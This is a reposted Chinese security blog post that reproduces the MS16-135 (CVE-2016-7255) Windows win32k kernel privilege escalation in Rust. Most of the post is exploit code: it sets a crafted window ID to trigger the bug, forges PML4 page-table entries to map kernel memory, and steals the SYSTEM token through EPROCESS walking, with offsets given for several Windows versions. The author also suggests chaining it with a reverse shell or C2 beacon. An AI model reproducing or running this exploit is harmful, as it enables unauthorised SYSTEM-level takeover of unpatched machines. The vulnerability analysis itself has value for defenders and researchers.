让rust帮你制作ms16-135洞洞

admin 2025-12-25 02:52:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了使用Rust语言复现MS16-135Windows内核提权漏洞的技术细节。作者分析了win32k.sys驱动缺陷,通过窗口操作触发漏洞,利用PML4自引用机制映射内核内存,并窃取SYSTEMToken实现权限提升。文中包含完整的Rust代码示例及不同系统版本的偏移量,适用于安全研究与漏洞分析学习。 综合评分: 90 文章分类: 漏洞分析,二进制安全,渗透测试,实战经验


cover_image

让rust帮你制作ms16-135洞洞

原创

zorejt

Jiyou too beautiful

2025年12月23日 20:10 中国香港

总所周知,ms16洞洞已经是属于古老洞了,也是几年前的事情,但是最近吃饱饭在厕所拉屎找到了灵感,使用rust复现一个吧,这个漏洞编号是cve-2016-7255,内核提权的漏洞

ms16-135 的核心问题在于 windows 内核的 win32k.sys 驱动程序在处理窗口菜单对象时存在缺陷。具体来说,当应用程序通过 SetWindowLongPtr API 修改窗口的某些属性时,内核没有正确验证用户模式传入的指针,导致可以读写内核内存。

触发流程如下

攻击者创建一个父窗口和一个子窗口,并通过 SetWindowLongPtr 设置子窗口的 ID 为一个精心构造的地址

//示例代码use std::ptr;
// Windows API 声明extern "system" {    fn CreateWindowExW(        dwExStyle: u32,        lpClassName: *const u16,        lpWindowName: *const u16,        dwStyle: u32,        x: i32, y: i32,        nWidth: i32, nHeight: i32,        hWndParent: *mut c_void,        hMenu: *mut c_void,        hInstance: *mut c_void,        lpParam: *mut c_void,    ) -> *mut c_void;
    fn SetWindowLongPtrW(hWnd: *mut c_void, nIndex: i32, dwNewLong: isize) -> isize;}
// 创建父窗口let hwnd_parent = CreateWindowExW(    0,    class_name.as_ptr(),    ptr::null(),    WS_OVERLAPPEDWINDOW | WS_VISIBLE,    0, 0, 360, 360,    ptr::null_mut(),    ptr::null_mut(),    ptr::null_mut(),    ptr::null_mut(),);
// 创建子窗口let hwnd_child =&nbsp;CreateWindowExW(&nbsp; &nbsp;&nbsp;0,&nbsp; &nbsp; class_name.as_ptr(),&nbsp; &nbsp;&nbsp;"Child\0".encode_utf16().collect::<Vec<u16>>().as_ptr(),&nbsp; &nbsp; WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CHILD,&nbsp; &nbsp;&nbsp;0,&nbsp;0,&nbsp;160,&nbsp;160,&nbsp; &nbsp; hwnd_parent,&nbsp; &nbsp; ptr::null_mut(),&nbsp; &nbsp; ptr::null_mut(),&nbsp; &nbsp; ptr::null_mut(),);

触发内核漏洞是通过特定的窗口消息和键盘模拟(Alt+Esc 组合键),触发内核中的菜单处理代码,然后内存叶操作是利用 PML4(Page Map Level 4)自引用机制,使原本不可访问的内核地址变为可访问,然后token窃取是在内核内存中定位当前进程和 SYSTEM 进程的 EPROCESS 结构,将 SYSTEM 的 Token 复制到当前进程

// 设置窗口属性触发漏洞,示例代码const&nbsp;PML4_SELF_REF: u64 =&nbsp;0xFFFFF6FB7DBEDF68;let&nbsp;p_id = (PML4_SELF_REF -&nbsp;0x28)&nbsp;as&nbsp;isize;SetWindowLongPtrW(hwnd_child,&nbsp;GWLP_ID, p_id);

这是PML4 表的某个条目指向自身,形成自引用。通过这个特性,攻击者可以:

  • 访问和修改页表项(PTE、PDE、PDPTE、PML4E)
use&nbsp;std::mem; &nbsp;//示例代码
const&nbsp;PML4_SELF_REF: u64 =&nbsp;0xFFFFF6FB7DBEDF68;
extern&nbsp;"system"&nbsp;{&nbsp; &nbsp;&nbsp;fn&nbsp;GetMessageW(lpMsg: *mut MSG, hWnd: *mut c_void, wMsgFilterMin: u32, wMsgFilterMax: u32) ->&nbsp;i32;&nbsp; &nbsp;&nbsp;fn&nbsp;TranslateMessage(lpMsg: *const&nbsp;MSG) ->&nbsp;i32;&nbsp; &nbsp;&nbsp;fn&nbsp;DispatchMessageW(lpMsg: *const&nbsp;MSG) ->&nbsp;isize;&nbsp; &nbsp;&nbsp;fn&nbsp;VirtualQuery(lpAddress: *const&nbsp;c_void, lpBuffer: *mut MEMORY_BASIC_INFORMATION, dwLength: usize) ->&nbsp;usize;}
// 安全读取内存函数unsafe&nbsp;fn&nbsp;try_read_u64(addr: u64) ->&nbsp;Option<u64>&nbsp;{&nbsp; &nbsp; let mut mbi: MEMORY_BASIC_INFORMATION = mem::zeroed();
&nbsp; &nbsp;&nbsp;if&nbsp;VirtualQuery(addr&nbsp;as&nbsp;*const&nbsp;c_void, &mut mbi, mem::size_of::<MEMORY_BASIC_INFORMATION>()) ==&nbsp;0&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;None;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 检查内存是否可读&nbsp; &nbsp;&nbsp;if&nbsp;mbi.State == MEM_COMMIT && mbi.Protect != PAGE_NOACCESS && mbi.Protect & PAGE_GUARD ==&nbsp;0&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Some(*(addr&nbsp;as&nbsp;*const&nbsp;u64))&nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; None&nbsp; &nbsp; }}
  • 将内核地址映射到用户空间

  • 绕过内存保护机制

关键地址 0xFFFFF6FB7DBEDF68 就是 PML4 自引用入口点。在漏洞触发前,这个地址是不可访问的;触发后,它变为可读写

// 消息循环中检测 PML4let&nbsp;mut&nbsp;msg:&nbsp;MSG&nbsp;=&nbsp;mem::zeroed();while&nbsp;GetMessageW(&mut msg,&nbsp;ptr::null_mut(),&nbsp;0,&nbsp;0) !=&nbsp;0&nbsp;{&nbsp; &nbsp;&nbsp;TranslateMessage(&msg);&nbsp; &nbsp;&nbsp;DispatchMessageW(&msg);
&nbsp; &nbsp;&nbsp;// 尝试读取 PML4&nbsp; &nbsp;&nbsp;if&nbsp;let&nbsp;Some(value) =&nbsp;try_read_u64(PML4_SELF_REF) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(value &&nbsp;0x67) ==&nbsp;0x67&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; println!("PML4 accessible: 0x{:x}", value);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}

第一阶段触发漏洞

利用程序首先创建窗口对象并设置特殊的窗口属性。然后通过消息循环和键盘模拟来触发内核中的漏洞代码路径。这个过程需要精确的时序控制,因为窗口消息的处理是异步的。

创建父窗口 -> 创建子窗口 -> 设置窗口属性 -> 模拟键盘输入 -> 触发漏洞
use&nbsp;std::mem; &nbsp;//示例代码
extern&nbsp;"system"&nbsp;{&nbsp; &nbsp;&nbsp;fn&nbsp;RegisterClassExW(lpwcx: *const&nbsp;WNDCLASSEXW) ->&nbsp;u16;&nbsp; &nbsp;&nbsp;fn&nbsp;DefWindowProcW(hWnd: *mut c_void, Msg: u32, wParam: usize, lParam: isize) ->&nbsp;isize;&nbsp; &nbsp;&nbsp;fn&nbsp;keybd_event(bVk: u8, bScan: u8, dwFlags: u32, dwExtraInfo: usize);}
#[repr(C)]struct WNDCLASSEXW {&nbsp; &nbsp; cbSize: u32,&nbsp; &nbsp; style: u32,&nbsp; &nbsp; lpfnWndProc: unsafe extern&nbsp;"system"&nbsp;fn(*mut c_void, u32, usize, isize) ->&nbsp;isize,&nbsp; &nbsp;&nbsp;cbClsExtra:&nbsp;i32,&nbsp; &nbsp;&nbsp;cbWndExtra:&nbsp;i32,&nbsp; &nbsp;&nbsp;hInstance: *mut&nbsp;c_void,&nbsp; &nbsp;&nbsp;hIcon: *mut&nbsp;c_void,&nbsp; &nbsp;&nbsp;hCursor: *mut&nbsp;c_void,&nbsp; &nbsp;&nbsp;hbrBackground: *mut&nbsp;c_void,&nbsp; &nbsp;&nbsp;lpszMenuName: *const&nbsp;u16,&nbsp; &nbsp;&nbsp;lpszClassName: *const&nbsp;u16,&nbsp; &nbsp;&nbsp;hIconSm: *mut&nbsp;c_void,}
// 窗口过程函数unsafe&nbsp;extern&nbsp;"system"&nbsp;fn&nbsp;window_proc(&nbsp; &nbsp; hwnd: *mut c_void,&nbsp; &nbsp; msg: u32,&nbsp; &nbsp; wparam: usize,&nbsp; &nbsp; lparam: isize,) ->&nbsp;isize&nbsp;{&nbsp; &nbsp;&nbsp;DefWindowProcW(hwnd, msg, wparam, lparam)}
// 注册窗口类unsafe&nbsp;fn&nbsp;register_window_class(class_name: &[u16]) ->&nbsp;bool&nbsp;{&nbsp; &nbsp; let wc = WNDCLASSEXW {&nbsp; &nbsp; &nbsp; &nbsp; cbSize: mem::size_of::<WNDCLASSEXW>()&nbsp;as&nbsp;u32,&nbsp; &nbsp; &nbsp; &nbsp; style:&nbsp;0,&nbsp; &nbsp; &nbsp; &nbsp; lpfnWndProc: window_proc,&nbsp; &nbsp; &nbsp; &nbsp; cbClsExtra:&nbsp;0,&nbsp; &nbsp; &nbsp; &nbsp; cbWndExtra:&nbsp;0,&nbsp; &nbsp; &nbsp; &nbsp; hInstance: ptr::null_mut(),&nbsp; &nbsp; &nbsp; &nbsp; hIcon: ptr::null_mut(),&nbsp; &nbsp; &nbsp; &nbsp; hCursor: ptr::null_mut(),&nbsp; &nbsp; &nbsp; &nbsp; hbrBackground: ptr::null_mut(),&nbsp; &nbsp; &nbsp; &nbsp; lpszMenuName: ptr::null(),&nbsp; &nbsp; &nbsp; &nbsp; lpszClassName: class_name.as_ptr(),&nbsp; &nbsp; &nbsp; &nbsp; hIconSm: ptr::null_mut(),&nbsp; &nbsp; };
&nbsp; &nbsp;&nbsp;RegisterClassExW(&wc) !=&nbsp;0}
// 模拟 Alt+Shift+Tab 键盘输入unsafe&nbsp;fn&nbsp;simulate_alt_shift_tab()&nbsp;{&nbsp; &nbsp;&nbsp;const&nbsp;VK_MENU: u8 =&nbsp;0x12; &nbsp; &nbsp; &nbsp;// Alt 键&nbsp; &nbsp;&nbsp;const&nbsp;VK_SHIFT: u8 =&nbsp;0x10; &nbsp; &nbsp;&nbsp;// Shift 键&nbsp; &nbsp;&nbsp;const&nbsp;VK_TAB: u8 =&nbsp;0x09; &nbsp; &nbsp; &nbsp;&nbsp;// Tab 键&nbsp; &nbsp;&nbsp;const&nbsp;KEYEVENTF_KEYUP: u32 =&nbsp;0x0002;
&nbsp; &nbsp;&nbsp;// 按下 Alt&nbsp; &nbsp;&nbsp;keybd_event(VK_MENU,&nbsp;0,&nbsp;0,&nbsp;0);&nbsp; &nbsp; thread::sleep(Duration::from_millis(50));
&nbsp; &nbsp;&nbsp;// 按下 Shift&nbsp; &nbsp;&nbsp;keybd_event(VK_SHIFT,&nbsp;0,&nbsp;0,&nbsp;0);&nbsp; &nbsp; thread::sleep(Duration::from_millis(50));
&nbsp; &nbsp;&nbsp;// 按下并释放 Tab&nbsp; &nbsp;&nbsp;keybd_event(VK_TAB,&nbsp;0,&nbsp;0,&nbsp;0);&nbsp; &nbsp; thread::sleep(Duration::from_millis(50));&nbsp; &nbsp;&nbsp;keybd_event(VK_TAB,&nbsp;0, KEYEVENTF_KEYUP,&nbsp;0);
&nbsp; &nbsp;&nbsp;// 释放 Shift&nbsp; &nbsp;&nbsp;keybd_event(VK_SHIFT,&nbsp;0, KEYEVENTF_KEYUP,&nbsp;0);
&nbsp; &nbsp;&nbsp;// 释放 Alt&nbsp; &nbsp;&nbsp;keybd_event(VK_MENU,&nbsp;0, KEYEVENTF_KEYUP,&nbsp;0);}

第二阶段:内存映射

一旦漏洞被触发,PML4 自引用地址变为可访问。利用程序随后:

  1. 读取 PML4 基址和索引

  2. 在 PML4 表中寻找空闲条目

  3. 创建”伪造”的页表条目,将内核地址映射到用户空间

  4. 通过这些映射访问和修改内核内存

// 页表项标志位。示例代码const&nbsp;PTE_PRESENT: u64 =&nbsp;0x01; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 页面存在const&nbsp;PTE_WRITE: u64 =&nbsp;0x02; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 可写const&nbsp;PTE_USER: u64 =&nbsp;0x04; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 用户模式可访问const&nbsp;PTE_ACCESSED: u64 =&nbsp;0x20; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 已访问const&nbsp;PTE_DIRTY: u64 =&nbsp;0x40; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 已修改const&nbsp;PTE_LARGE_PAGE: u64 =&nbsp;0x80; &nbsp; &nbsp; &nbsp; &nbsp;// 大页面
// 页表项结构#[repr(C)]struct PageTableEntry {&nbsp; &nbsp; value: u64,}
impl PageTableEntry {&nbsp; &nbsp;&nbsp;// 创建新的页表项&nbsp; &nbsp;&nbsp;fn&nbsp;new(physical_addr: u64, flags: u64) ->&nbsp;Self&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; let pfn = (physical_addr >>&nbsp;12) &&nbsp;0xFFFFFFFFFFF; &nbsp;// 物理页帧号&nbsp; &nbsp; &nbsp; &nbsp; PageTableEntry {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; value: (pfn <<&nbsp;12) | flags,&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 获取物理地址&nbsp; &nbsp;&nbsp;fn&nbsp;physical_address(&self) ->&nbsp;u64&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.value &&nbsp;0xFFFFFFFFFFFFF000&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 检查标志位&nbsp; &nbsp;&nbsp;fn&nbsp;is_present(&self) ->&nbsp;bool&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; (self.value & PTE_PRESENT) !=&nbsp;0&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;fn&nbsp;is_writable(&self) ->&nbsp;bool&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; (self.value & PTE_WRITE) !=&nbsp;0&nbsp; &nbsp; }}
// 创建内核地址映射unsafe fn map_kernel_memory(kernel_addr: u64) -> Option<u64> {&nbsp; &nbsp;&nbsp;// 找到空闲的 PML4 条目&nbsp; &nbsp; let free_pml4_entry =&nbsp;look_free_entry_pml4()?;
&nbsp; &nbsp;&nbsp;// 创建页表项,映射内核地址到用户空间&nbsp; &nbsp; let flags = PTE_PRESENT | PTE_WRITE | PTE_USER | PTE_ACCESSED | PTE_DIRTY;&nbsp; &nbsp; let pte =&nbsp;PageTableEntry::new(kernel_addr, flags);
&nbsp; &nbsp;&nbsp;// 写入 PML4 条目&nbsp; &nbsp; *(free_pml4_entry&nbsp;as&nbsp;*mut u64) = pte.value;
&nbsp; &nbsp;&nbsp;// 计算映射后的用户空间地址&nbsp; &nbsp; let pml4_index = (free_pml4_entry - PML4_BASE) /&nbsp;8;&nbsp; &nbsp; let user_addr = pml4_index <<&nbsp;39;
&nbsp; &nbsp;&nbsp;Some(user_addr)}

前提要计算PML4的内存的地址和利用地址

// 计算 PML4 基址和索引const&nbsp;PML4_SELF_REF_INDEX: u64 = get_index(PML4_SELF_REF);const&nbsp;PML4_BASE: u64 = PML4_SELF_REF &&nbsp;0xFFFFFFFFFFFFF000;
// 寻找空闲的 PML4 条目unsafe&nbsp;fn&nbsp;look_free_entry_pml4() -> Option<u64>&nbsp;{&nbsp; &nbsp;&nbsp;let&nbsp;mut offset =&nbsp;0xF00u64; &nbsp;// 从高地址开始搜索
&nbsp; &nbsp;&nbsp;while&nbsp;offset <&nbsp;0xFF8&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;pml4_search = PML4_BASE + offset;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;let&nbsp;Some(value)&nbsp;= try_read_u64(pml4_search) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;value&nbsp;==&nbsp;0&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 找到空闲条目&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;Some(pml4_search);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; offset +=&nbsp;8;&nbsp; &nbsp; }
&nbsp; &nbsp; None}

第三阶段:权限提升

最关键的步骤是 Token 窃取。Windows 内核中每个进程都有一个 EPROCESS 结构,其中包含进程的 Token。Token 决定了进程的权限级别。

利用程序通过以下步骤完成权限提升:

  1. 定位 SYSTEM 进程:遍历内核中的进程链表(ActiveProcessLinks),找到 PID 为 4 的 SYSTEM 进程

  2. 提取 SYSTEM Token:从 SYSTEM 进程的 EPROCESS 结构中读取 Token 地址

  3. 定位当前进程:继续遍历进程链表,找到当前进程的 EPROCESS 结构

  4. 替换 Token:将当前进程的 Token 替换为 SYSTEM 的 Token

这个过程通过注入到内核的 shellcode 完成。Shellcode 被存储在 HAL(Hardware Abstraction Layer)堆中,然后通过覆写中断处理函数指针来执行。

EPROCESS 结构和进程遍历的示例代码:

// 不同 Windows 版本的 EPROCESS 偏移量struct&nbsp;EprocessOffsets {&nbsp; &nbsp; token_offset: usize, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// Token 字段偏移&nbsp; &nbsp; active_process_links: usize, &nbsp; &nbsp; &nbsp;// ActiveProcessLinks 偏移&nbsp; &nbsp; unique_process_id: usize, &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// UniqueProcessId 偏移}
impl EprocessOffsets {&nbsp; &nbsp;&nbsp;fn&nbsp;for_windows7() -> Self&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; EprocessOffsets {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; token_offset:&nbsp;0x208,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; active_process_links:&nbsp;0x188,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unique_process_id:&nbsp;0x180,&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;fn&nbsp;for_windows81() -> Self&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; EprocessOffsets {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; token_offset:&nbsp;0x348,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; active_process_links:&nbsp;0x2e8,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unique_process_id:&nbsp;0x2e0,&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;fn&nbsp;for_windows10() -> Self&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; EprocessOffsets {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; token_offset:&nbsp;0x358,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; active_process_links:&nbsp;0x2f0,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unique_process_id:&nbsp;0x2e8,&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}
// 在内核内存中查找进程(这是 shellcode 的逻辑,简化表示)unsafe&nbsp;fn&nbsp;find_process_token(&nbsp; &nbsp; eprocess_base: u64,&nbsp; &nbsp; target_pid: u32,&nbsp; &nbsp; offsets: &EprocessOffsets,) -> Option<u64> {&nbsp; &nbsp;&nbsp;let&nbsp;mut current_eprocess = eprocess_base;
&nbsp; &nbsp;&nbsp;// 遍历进程链表&nbsp; &nbsp; loop {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 读取当前进程的 PID&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;pid_addr = current_eprocess + offsets.unique_process_id&nbsp;as&nbsp;u64;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;pid = try_read_u64(pid_addr)?&nbsp;as&nbsp;u32;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;pid == target_pid {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 找到目标进程,读取 Token&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;token_addr = current_eprocess + offsets.token_offset&nbsp;as&nbsp;u64;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;try_read_u64(token_addr);&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 移动到下一个进程&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;flink_addr = current_eprocess + offsets.active_process_links&nbsp;as&nbsp;u64;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;flink = try_read_u64(flink_addr)?;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 从 LIST_ENTRY 的 Flink 计算 EPROCESS 地址&nbsp; &nbsp; &nbsp; &nbsp; current_eprocess = flink - offsets.active_process_links&nbsp;as&nbsp;u64;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 防止死循环&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;current_eprocess == eprocess_base {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp; None}
// 执行 Token 窃取unsafe&nbsp;fn&nbsp;steal_system_token(current_pid: u32, offsets: &EprocessOffsets) -> Result<(), String>&nbsp;{&nbsp; &nbsp;&nbsp;// 获取当前进程的 EPROCESS 地址(通过内核映射)&nbsp; &nbsp;&nbsp;let&nbsp;current_eprocess = get_current_eprocess()?;
&nbsp; &nbsp;&nbsp;// 查找 SYSTEM 进程(PID = 4)的 Token&nbsp; &nbsp;&nbsp;let&nbsp;system_token = find_process_token(current_eprocess,&nbsp;4, offsets)&nbsp; &nbsp; &nbsp; &nbsp; .ok_or("Failed to find SYSTEM process")?;
&nbsp; &nbsp;&nbsp;// 查找当前进程的 Token 地址&nbsp; &nbsp;&nbsp;let&nbsp;current_token_addr = find_process_token(current_eprocess, current_pid, offsets)&nbsp; &nbsp; &nbsp; &nbsp; .ok_or("Failed to find current process")?;
&nbsp; &nbsp;&nbsp;// 替换 Token(写入内核内存)&nbsp; &nbsp; *(current_token_addr&nbsp;as&nbsp;*mut u64) = system_token;
&nbsp; &nbsp; Ok(())}

不同 Windows 版本的 EPROCESS 结构偏移量不同

Windows&nbsp;7:Token 偏移 +0x208,ActiveProcessLinks 偏移 +0x188Windows&nbsp;8.1:Token 偏移 +0x348,ActiveProcessLinks 偏移 +0x2e8Windows&nbsp;10:Token 偏移 +0x358,ActiveProcessLinks 偏移 +0x2f0

下面是直接提权的视频

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

Jiyou too beautiful已关注

分享视频

,时长01:06

0/0

00:00/01:06

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

01:06

01:06

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

让rust帮你制作ms16-135洞洞

观看更多

转载

,

让rust帮你制作ms16-135洞洞

Jiyou too beautiful已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

像这种的漏洞其实可以搭配revshell或者自己喜欢的c2,接下来我将搭配beacon的revshell来使用该洞洞

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

Jiyou too beautiful已关注

分享视频

,时长01:08

0/0

00:00/01:08

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

01:08

01:08

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

让rust帮你制作ms16-135洞洞

观看更多

转载

,

让rust帮你制作ms16-135洞洞

Jiyou too beautiful已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

该文章仅供学习,切勿利用于违法行为,看看就好,图一乐,没灵感了拉个屎就有了~


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Jiyou too beautiful zorejt《让rust帮你制作ms16-135洞洞》

评论:0   参与:  2